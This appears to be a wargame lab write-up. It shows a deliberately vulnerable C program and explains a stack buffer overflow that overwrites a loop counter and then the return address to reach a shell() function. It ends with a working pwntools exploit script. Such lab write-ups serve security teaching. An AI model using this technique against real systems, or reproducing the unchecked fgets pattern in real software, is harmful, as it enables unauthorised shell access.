For this lab, we are given a program and its corresponding source code:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

/*
 * compiled with:
 * gcc -O0 -fno-stack-protector lab2A.c -o lab2A
 */

void shell()
{
	printf("You got it\n");
	system("/bin/sh");
}

void concatenate_first_chars()
{
	struct {
		char word_buf[12];
		int i;
		char* cat_pointer;
		char cat_buf[10];
	} locals;
	locals.cat_pointer = locals.cat_buf;

	printf("Input 10 words:\n");
	for(locals.i=0; locals.i!=10; locals.i++)
	{
		// Read from stdin
		if(fgets(locals.word_buf, 0x10, stdin) == 0 || locals.word_buf[0] == '\n')
		{
			printf("Failed to read word\n");
			return;
		}
		// Copy first char from word to next location in concatenated buffer
		*locals.cat_pointer = *locals.word_buf;
		locals.cat_pointer++;
	}

	// Even if something goes wrong, there's a null byte here
	//   preventing buffer overflows
	locals.cat_buf[10] = '\0';
	printf("Here are the first characters from the 10 words concatenated:\n\
%s\n", locals.cat_buf);
}

int main(int argc, char** argv)
{
	if(argc != 1)
	{
		printf("usage:\n%s\n", argv[0]);
		return EXIT_FAILURE;
	}

	concatenate_first_chars();

	printf("Not authenticated\n");
	return EXIT_SUCCESS;
}

The program takes 10 words from stdin and appends the first character of each word to a local buffer called cat_buf stored on the stack in the concatenate_first_chars() function.

However, when reading each word, the program takes in 0x10 bytes from stdin which it copies to a 0x0c buffer, word_buf, giving us a trivial buffer overflow vulnerability.

We can exploit this by overwriting the iterator which is also stored on the stack at an adjacent address to the buffer where the user input is written to. If we read 9 words and overwrite the iterator on the 10th iteration, we can set the iterator value to 0 in order to continue copying bytes into the cat_buf buffer, past its allocated 10 bytes of space, resulting in another buffer being overflown.

If we repeat this process again, we can eventually overflow cat_buf with enough bytes to overwrite the saved return address with the address of the shell() function.

The following script achieves this.

Solution

#!/usr/bin/env python

from pwn import *
import sys

def fill_buffer(x,iterations):
  for i in range(iterations):
    r.sendline(x)
  
def exploit(r):
  r.recvuntil(":")
  fill_buffer("A",9)
  r.sendline("A"*12+"\x00\x00\x00\x00") 
  fill_buffer("B",7)
  r.sendline("C"*12+"\x00\x00\x00\x00")
  fill_buffer("D",4)
  r.sendline("\xfd")
  r.sendline("\x86")
  r.sendline("\x04")
  r.sendline("\x08")
  r.sendline("\x00")
  
  r.interactive()

if __name__ == "__main__":
  log.info("For remote: %s HOST PORT" % sys.argv[0])
  if len(sys.argv) > 1:
    r = remote(sys.argv[1], int(sys.argv[2]))
    exploit(r)
  else:
    r = process(['/levels/lab02/lab2A'])
    print util.proc.pidof(r)
    pause()
    exploit(r)